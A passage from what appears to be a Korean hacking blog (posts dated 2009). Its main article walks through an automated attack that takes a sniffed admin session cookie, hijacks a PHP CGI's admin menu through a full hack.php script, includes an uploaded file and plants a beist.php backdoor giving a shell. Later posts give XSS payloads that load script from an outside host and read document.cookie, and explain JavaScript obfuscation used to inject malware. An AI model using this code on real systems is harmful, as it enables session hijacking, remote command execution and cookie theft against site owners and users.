만약 위 beist.txt 가 PHP 로 정상적으로 실행된다면, beist.php 가 생성될 것이고, 해커는 beist.php 파일을 이용하여 target 시스템의 nobody 쉘을 얻을 수 있습니다.

잠시 후에 beist.txt가 이용되는 곳에 대해 자세히 설명하겠지만, 미리 간단하게 알아보고 넘어가겠습니다. 어떤 CGI 는 Admin 기능 중, head 와 foot 에 (머리말과 꼬리말) 특정 파일을 include 시킬 수 있는 기능이 존재합니다. 머리말과 꼬리말을 이용하면 Admin 이 특정 메세지나 작업 등을 웹 페이지에 삽입하려할 때 편리합니다.

이 문서에서 target 으로 지정한 CGI 는 이러한 기능을 지원합니다. beist.txt 는 머리말과 꼬리말에 파일을 지정할 수 있는 기능에 이용할 것입니다. 머리말 혹은 꼬리말 둘 중 하나에 beist.txt 파일을 지정해놓으면, CGI 가 작동될 때마다 beist.txt 의 내용이 PHP 로 실행될 것입니다. (물론, 만약 include 가 아닌 단순히 print 를 해준다면 beist.txt 는 PHP 로 실행되지 않습니다.)

beist.txt 파일도, (2) 의 과정처럼 Target 서버의 PDS 에 업로드 합니다. 만약 beist.txt 파일이 정상적으로 업로드 되었다면 URL 은 다음과 같습니다.

beist.txt URL - http://beist.org/~beist/auto/data/beist.txt




(4) Cookie 를 저장하고, CGI 를 공격하는 hack.php 코드를 작성, 해커의 서버에 업로드

이 문서에서 기술하는 것 중 가장 중요한 부분입니다. hack.php 은, Target 의 쿠키를 훔쳐오자마자 바로 Target Server를 공격하는 작업을 수행합니다. hack.php 의 수행 구조에 대해서 간략히 알아보겠습니다.

hack.php 의 진행 순서

-1- Target Server 정보 저장
-2- Cookie Sniffing 으로 가져온 Target 의 Cookie(Session) 를 저장
-3- Target Web Server 에 연결
-4- Admin Menu 기능을 수행하는 CGI 요청
-5- Admin Menu 의 include 기능을 이용하여 beist.txt 파일을 include 하도록 환경 설정
-6- 쿼리 전달

hack.php 의 소스를 만들기전에 몇가지를 알아보겠습니다. 이 공격은 Target CGI 의 구조를 파악하고 있다는 전제 하에 가능합니다. Target CGI 의 Admin 메뉴 관련 파일들을 알아보겠습니다.


[화면4] http://beist.org/~beist/auto/admin_login.html (admin login form)


admin_login.html

<html>
<head>
<title>admin login</title>
</head>
<body>
<center><br><br>
<font size=2>
beist admin login page<br><br>
<table>
<form action=admin_loginok.html method=post>
<td>ID : </td><td><input type=text name=id></td><tr>
<td>Passwd : </td><td><input type=password name=passwd></td><tr>
<td><input type=submit></td><td></td>
</form>
</body>
</html>


[화면5] http://beist.org/~beist/auto/admin_loginok.html (admin login ok)


admin_loginok.html

<?
session_start();

if($id == "admin" && $passwd == "beist")
{
$id="admin";
$passwd="beist";
session_register("id");
session_register("passwd");
echo "login ok";
}

echo("<meta http-equiv='refresh' content='0; URL=admin_menu.html'>\n");

?>


[화면6] http://beist.org/~beist/auto/admin_menu.html (admin menu)


admin_menu.html

<?
session_start();

/* Session 인증 작업. 만약 정상적인 인증이 아니라면 oh! beist 라는
메세지를 출력하고 CGI 실행을 종료한다. */

if($HTTP_SESSION_VARS["id"])
{
if($HTTP_SESSION_VARS["id"]!="admin")
{
echo "oh! beist";
exit;
}
if($HTTP_SESSION_VARS["passwd"]!="beist")
{
echo "oh! beist";
exit;
}

echo "
<html>
<head>
<title>beist admin menu</title>
</head>
<body>
<font size=2><center><br><br>
<form action=admin_menu.html method=post>
head file : <input type=text name=head><input type=submit>
</form>
</body>
</html>";

/* head는 header로 지정할 파일 이름을 가리킨다. 만약 head 변수의 값이 존재한다면,
./data/head.txt 파일을 열고 admin 이 지정한 파일을 넣는다. */

if($head)
{
$fp=fopen("./data/head.txt", "w");
fputs($fp, $head);
fclose($fp);
}

/* head.txt 파일이 존재하는지 확인한다. head.txt 파일이 존재한다면
admin 이 지정한 header 파일이 있다는 이야기이다. 그 값을 출력해준다. */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
echo "header file : $data";
fclose($fp);
}

echo "<br><br>welcome to beist world";
}
else
{
echo "oh! beist";
}

?>


이 3 개의 파일이 Admin CGI 입니다. admin_login.html, admin_loginok.html 파일은 간단하므로 설명하지 않겠습니다. 주의깊게 봐야할 파일은 admin_menu.html 파일입니다. 우리가 공격할 CGI의 Admin Menu는 header 파일을 지정할 수 있는 기능을 갖추었습니다. Target CGI 의 index.html 의 소스를 보겠습니다.


index.html

<?

/* ./data/head.txt 파일이 존재하는지 확인. 존재한다면 admin 이 header
파일로 지정한 값이 존재한다는 것이다. 해당 값을 읽고 include 시킴 */

if(file_exists("./data/head.txt"))
{
$fp=fopen("./data/head.txt", "r");
$data=fgets($fp, 256);
fclose($fp);
@include "$data";
}
else
echo "
<html>
<head>
<title>beist test target program</title>
</head>
";
?>


<body>
<center><font size=2>
<br><br><br>
this is beist test target program<br><br><br>
<a href=memo.html><font color=black>read memo</a><br>
<a href=memo2.html><font color=black>write memo</a><br>
<a href=pds.html><font color=black>pds</a><br><br>
<a href=admin_login.html><font color=red>admin login</a><br>
</body>
</html>


index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다.

다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다.


header.txt

<html>
<head>
<title>beist cgi header file</title>
</head>
<center><font size=2><br><br>
Hello, everybody. this is header file!!<br><br>

파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다.


[화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정)


이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다.


[화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html)

index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다.

hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다.

이제 본격적으로 hack.php 의 소스를 알아보겠습니다.

hack.php

<?

/* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */

$day = date("Y.m.d", mktime());
$time = date("H:i:s", mktime());


/* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면

에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */


if(!$cook)
{
$fp=fopen("/tmp/beist-error.txt", "a++");
if($url)
fputs($fp, "$day - $time : $url access\n");
else
fputs($fp, "$day - $time : $REMOTE_ADDR access\n");
fclose($fp);
exit;
}

echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>";


/* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의.

targetsession 은 cook 값. */

$total = substr($url, strlen("http://"), 100);

$use = split("/", $total);

$temp = "http://";

for($count=0;$count<sizeof($use)-2;$count++)
{
$temp .= $use[$count];
$temp .= "/";
}

$targetcgi = $temp;
$targetaddress = $use[0];
$targetsession = $cook;
$targettotal = $total;

echo "targetcgi : $targetcgi<br>";
echo "targetaddress : $targetaddress<br>";
echo "targetsession : $targetsession<br>";
echo "targettotal : $targettotal<br>";

/* 로그 파일에 기록 */


$fp=fopen("/tmp/beist-cookie.txt", "a++");
fputs($fp, "time : $day - $time\n");
fputs($fp, "address : $targetaddress\n");
fputs($fp, "session : $targetsession\n");
fputs($fp, "URL : $targettotal\n\n");
fclose($fp);

/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */

$includefile = ".%2Fdata%2Fbeist.txt";

/* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */

$argument = "head=$includefile";

/* POST header 에 보낼 데이터로, argument 의 길이를 저장 */

$argulength = strlen($argument);

/* header 정의 */

$httpheader=
"POST $targetcgi"."admin_menu.html HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*\r\n".
"Referer: $targetcgi"."admin_menu.html\r\n".
"Accept-Language: ko\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; (atfile.com))\r\n".
"Host: 2nom.net\r\n".
"Content-Length: $argulength\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: $targetsession\r\n\r\n";

/* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */

$sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30);
if(!$sock)
{
echo "$errstr ($errno)<br>";
$fp=fopen("/tmp/beist-error.txt", "a++");
fputs($fp, "$day - $time : $targetaddress connect failed\n");
fclose($fp);
exit;
}

/* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */

fputs($sock, $httpheader);
fputs($sock, $argument);
echo fread($sock, 1024);
fclose($sock);

?>

hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다.

hack.php URL - http://beist.hackerscomputer/hack.php


(5) Target ID 에게 test.txt URL 을 메모로 보내고 Target 이 test.txt 파일을 읽기를 기다림

이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다.

[화면8] http://beist.org/~beist/auto/read.html (read memo page)

(6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격

Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다.

[화면10] Admin 이 test.txt 를 읽었을 때 상황

무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다.

[beist@beist auto]$ cat data/head.txt
./data/beist.txt

data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다.
(7) beist.php 를 이용하여 nobody shell 획득

header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다.

백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다.

[화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일]

id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다.


4. 마치는 말

Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다.

위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다.

그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다.

이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다.

마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다.





2009/08/26 17:33 2009/08/26 17:33

mhtml 이 InfotechStorate 프로토콜을 이용할때 취약점을 이용한 해킹입니다

테스트해보니 지금은 보안 패치된것 같네요

하지만 이 과정을 지켜보면 웹해킹에 대한 감을 잡으실 수 있습니다 ^^




2009/08/26 17:31 2009/08/26 17:31

최근에 알려진 악성코드 삽입을 위해 사용하는 자바스크립트 삽입 방식입니다.

기존 방식보다더 좀더 꼬우기위해서 이번에는 변수치환 방법을 사용하고 있습니다.


(1) 치환

아래와 같은 코드의 의미는 9e1은 무시되고 뒤에 있는 it을 mutae에 할당한다.


mutae=(9e1,"it");

mutae="it"; 가 되겠군요..

(2) 조건



rgvij=(0.2e1>=4e1?.9075:"i"+"f");

0.2e1은 2와 동일합니다.

4e1은 40과 동일합니다.

아래와 같이 변환할 수 있겠네요..


if ( 2 >= 40 ? .9075  :  "i"+"f" )


만약 2 >= 40 조건식이 맞다면 .0975를 실행하고,,

     2 >= 40 조건식이 틀리다면  "i"+"f" 실행합니다. 마치 C 함수에서 일반적으로 쓰이는 조건 분기 방법을 사용합니다.


결국 40이 더크므로.."i"+"f" 가 실행되겠네요..

그리고 자바스크립트 해석기는 "i"+"f" 를 if 로 인식합니다.

 

revij="if"; 라는 식이겠네요..



3) 또 다른 치환

document[“write”](“text to print”); 는 아래와 같이 ..사용될 수도 있죠..



a = document;
b = “write”;
c = “text to print”;
a[b](c);


아래는 샘플입니다. 한 풀어보시죠..

aaa=(((0x4435,7.)>=(.61,9.12e2)?(1,4.033e3):(266,7.1e1)),((0x97<=.1?7.616e3:2.176e3),(.39<8e0?document:2032)))




2009/05/25 13:41 2009/05/25 13:41
ㅇ PoC
<IMG STYLE='xss:expre\ssion(alert("hacked"))'>


2009/05/20 18:36 2009/05/20 18:36
ㅇ createElement(), getElementById(), appendChild(), innerHTML() 이용,
    자바스크립트 사용 - for XSS

ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>

http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';


2009/05/20 18:36 2009/05/20 18:36
ㅇ createElement(), getElementById(), appendChild(), innerHTML() 이용,
    자바스크립트 사용 - for XSS

ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>

http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';


2009/05/20 18:36 2009/05/20 18:36
ㅇ 사이트 입력
   <frameset><frame src=http://youngsam.kr/xss></frameset>

http://youngsam.kr/xss 의 내용
    <img src="" onerror="alert(String.fromCharCode(88,83,83,32,72,65,67,75,69,68));" height=0 width=0>

ㅇ = alert('XSS HACKED)')

ㅇ 우회 방안 고민중 - frameset 앞에 <body>, "aa" 등 들어갈 경우 실패
<html>
<head><title>xss</title></head>
<frameset><frame src=http://youngsam.kr/xss></frameset>
</html>


2009/05/20 18:35 2009/05/20 18:35